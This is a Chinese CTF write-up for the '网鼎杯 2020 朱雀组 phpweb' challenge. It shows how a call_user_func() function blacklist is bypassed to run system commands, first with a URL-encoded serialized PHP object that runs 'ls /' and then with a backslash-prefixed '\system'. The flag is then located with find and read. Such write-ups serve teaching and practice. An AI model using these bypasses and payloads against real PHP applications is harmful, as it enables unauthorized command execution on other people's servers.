当前位置: 首页 > article >正文

[网鼎杯 2020 朱雀组]phpweb1

提示

  1. call_user_func()函数
  2. 先通过php内置函数来进行代码审计
  3. 绕过system(##不止一种方法)

拿到题目养成一个好的习惯先抓个包

从抓到的包以及它首页的报错来看,这里死活会post传输两个参数func以及p

func传输函数,而p则是传输参数的内容

这里直接尝试system读取文件列表

从返回页面来看,对func做了防护的测试一下哪些可以用

####这里其实可以通过一个php的特性绕过直接执行命令,但是还是先按着作者的想法来做

随便输了几个函数,他这里就报出了call_user_func()

call_user_func()这里似乎是利用的这个函数然后执行用户输入的然后去调用内部函数

#####本文最后做了简单的讲解

首先应该通过php内置函数来尝试读取index.php页面

这里可以使用highlight_file()高亮显示页面或者file_get_contents()来读取文件

####这里注意,此页面每五秒会刷新一次

这里过滤的还是很完整,基本上所有的命令执行函数都过滤干净了了

这里我的思路是通过反序列化传入参数绕过网站对func的防护,通过反序列化后执行system函数

先随便去找个在线php做一个序列化出来

首先我们知道了他接收参数的变量是func和p那么序列化也得一样,类也得一样(class Test)

这里url编码了一下应为怕有些编码不识别

<?php
class Test {
	var $p = "ls /";
	var $func = "system";
}

echo urlencode(serialize(new Test()));
?>

到这一步就可以进行的命令执行了

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

这里直接去找了根目录找flag但是没有

尝试使用find去找

找到flag位置直接去读取

/tmp/flagoefiu4r93

####注意,服务器运行的很慢,使用find函数需要等待服务器查找一会儿

获得flag

现在来说第二种方法

在php里反斜杠\会被认定为特殊字符,如果在system中加上反斜杠例如\system就会绕过验证

通过此方法也可以成功获得shell来获取flag

关于call_user_cunc()

call_user_func函数类似于一种特别的调用函数的方法,它可以调用php内部函数也可以调用用户自定定义的函数

例如:

<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

以上示例会输出:

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

其余更详细内容可自行去参考php官方内容


http://www.kler.cn/a/162920.html

相关文章:

  • 知识图谱6:neo4j查询语句
  • 【JVM】关于JVM的内部原理你到底了解多少(八股文面经知识点)
  • 32位、64位、x86与x64:深入解析计算机架构
  • Linux kernel 堆溢出利用方法(二)
  • 深入探讨 MySQL 配置与优化:从零到生产环境的最佳实践20241112
  • GitLab基于Drone搭建持续集成(CI/CD)
  • 信号量的使用和注意事项
  • 机器连接和工业边缘计算
  • 使用高防IP防护有哪些优势
  • 【华为OD题库-060】增强的strstr-java
  • 【ET8】3.ET8入门-一个简单示例
  • 计算机基础知识67--BBS
  • springboot 极简案例
  • 算法与数据结构--最短路径Dijkstra算法
  • c 把6*10 的char 数组扩充到8*12, 为图像帧分隔成8*8准备
  • uniapp开发小程序经验记录
  • 机器人纯阻抗控制接触刚性环境
  • 如何在Python中使用一行代码编写for循环
  • HarmonyOS应用开发工具DevEco Studio安装与使用
  • 【Vue】修改组件样式并动态添加样式
  • 初学vue3与ts:vue3选项式api获取当前路由地址
  • linux云服务器开启防火墙注意事件
  • 智能优化算法应用:基于食肉植物算法无线传感器网络(WSN)覆盖优化 - 附代码
  • 酿酒生产废水处理的设备需要哪些
  • 《论文阅读》用于情绪回复生成的情绪正则化条件变分自动编码器 Affective Computing 2021
  • 应用架构——集群、分布式、微服务的概念及异同